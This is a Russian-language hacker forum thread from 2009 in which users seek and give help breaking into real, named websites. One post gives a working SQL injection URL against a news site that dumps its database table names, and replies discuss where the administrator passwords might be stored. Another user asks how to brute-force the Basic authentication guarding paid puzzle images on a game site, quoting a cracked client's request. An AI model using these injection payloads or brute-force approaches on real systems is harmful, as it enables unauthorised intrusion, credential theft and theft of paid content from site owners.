 |
|
12.10.2009, 00:31
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами:
8947056
Репутация:
229
|
|
Как боротся с такими каракулями чтобы был нормальный html ответ?
К примеру: http://img185.imageshack.us/img185/3456/20699052.jpg
Если же взять другой сендер то какой лучше брать для этого дела?
|
|
|
12.10.2009, 00:53
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
Сообщение от wolmer
Как боротся с такими каракулями чтобы был нормальный html ответ?
К примеру: http://img185.imageshack.us/img185/3456/20699052.jpg
Если же взять другой сендер то какой лучше брать для этого дела?
Удали Accept-Encoding. Всю стороку нафиг с пакета
|
|
|
|
12.10.2009, 12:45
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
С нами:
9107354
Репутация:
122
|
|
Скажите пожалуйста, а может быть такое что паролей на админку нет в базе?
Перерыл уже всё что можна, нашол только на юзеров.
Вот таблы:
Код:
http://www.berdyansk.su/view_news.php?id_news=-12573%20union%20select%201,2,3,4,5,group_concat%28table_name+separator+0x0a%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20FROM%20INFORMATION_SCHEMA.TABLES+where+table_schema=0x6265726479616e735f676f72706f7274616c%20--
|
|
|
|
12.10.2009, 13:10
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами:
9204308
Репутация:
256
|
|
Сообщение от TELO
Скажите пожалуйста, а может быть такое что паролей на админку нет в базе?
Перерыл уже всё что можна, нашол только на юзеров.
Вот таблы:
Код:
http://www.berdyansk.su/view_news.php?id_news=-12573%20union%20select%201,2,3,4,5,group_concat%28table_name+separator+0x0a%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20FROM%20INFORMATION_SCHEMA.TABLES+where+table_schema=0x6265726479616e735f676f72706f7274616c%20--
Конечно может 
|
|
|
|
12.10.2009, 14:10
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
С нами:
9116877
Репутация:
468
|
|
пароль может быть в файле или щашит в сам скрипт.
|
|
|
|
12.10.2009, 16:40
|
|
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
С нами:
9204308
Репутация:
256
|
|
Что самое интересное, я эту скулю крутил буквально, то ли вчера, то ли позавчера и там на админке была бэйсик авторизация, а сейчас нет чудеса ёпт  |
|
|
|
12.10.2009, 18:59
|
|
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами:
9466141
Репутация:
74
|
|
А может вообще храниться в другой базе с другим юзером куда прав через попасть через эту скулю нет.Но это как вариант)
|
|
|
|
12.10.2009, 23:09
|
|
Новичок
Регистрация: 02.06.2009
Сообщений: 3
С нами:
8916728
Репутация:
0
|
|
ребя подскажите инфу про сайтик:
http://lenagames.com/astra/jigsaws/
сайт вроде допотопный, вылазит форма авторизации, пробовал скачать сайт и полазить внутри, ничего интересного кроме java скриптов не нашёл, а папка jigsaws без авторизации никак.
В той папке лежат платные картинки для пазлов
Есть прога игра с пазлами, которая региться, а потом отсылает данные по вышеизложенному адресу, а в ответ мне приходит, что-то типа неправильный ключ,
нашёл и поставил ломанную прогу предыдущей версии этих пазлов и посмотрел как она лезет на сайт через Http Analyzer:
GET /astra/jigsaws/aertsen_p_peasants.exe HTTP/1.0
Host: www.lenagames.com
Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff
Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript
From: bj601_download
Content-type: application/x-www-form-urlencoded
"bj601_download" - как я понял это логин
пароль ломанный состоял из 24 символов (символы от A до F и от 0 до 9)
возможен ли метод перебора по моим параметрам или есть способы попроще?
Последний раз редактировалось skyscr; 12.10.2009 в 23:27..
|
|
|
|
12.10.2009, 23:16
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Вот эта папка (в которой платные картинки) стоит по Basic-авторизацией.
|
|
|
|
12.10.2009, 23:42
|
|
Новичок
Регистрация: 02.06.2009
Сообщений: 3
С нами:
8916728
Репутация:
0
|
|
предлагаете брутить?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
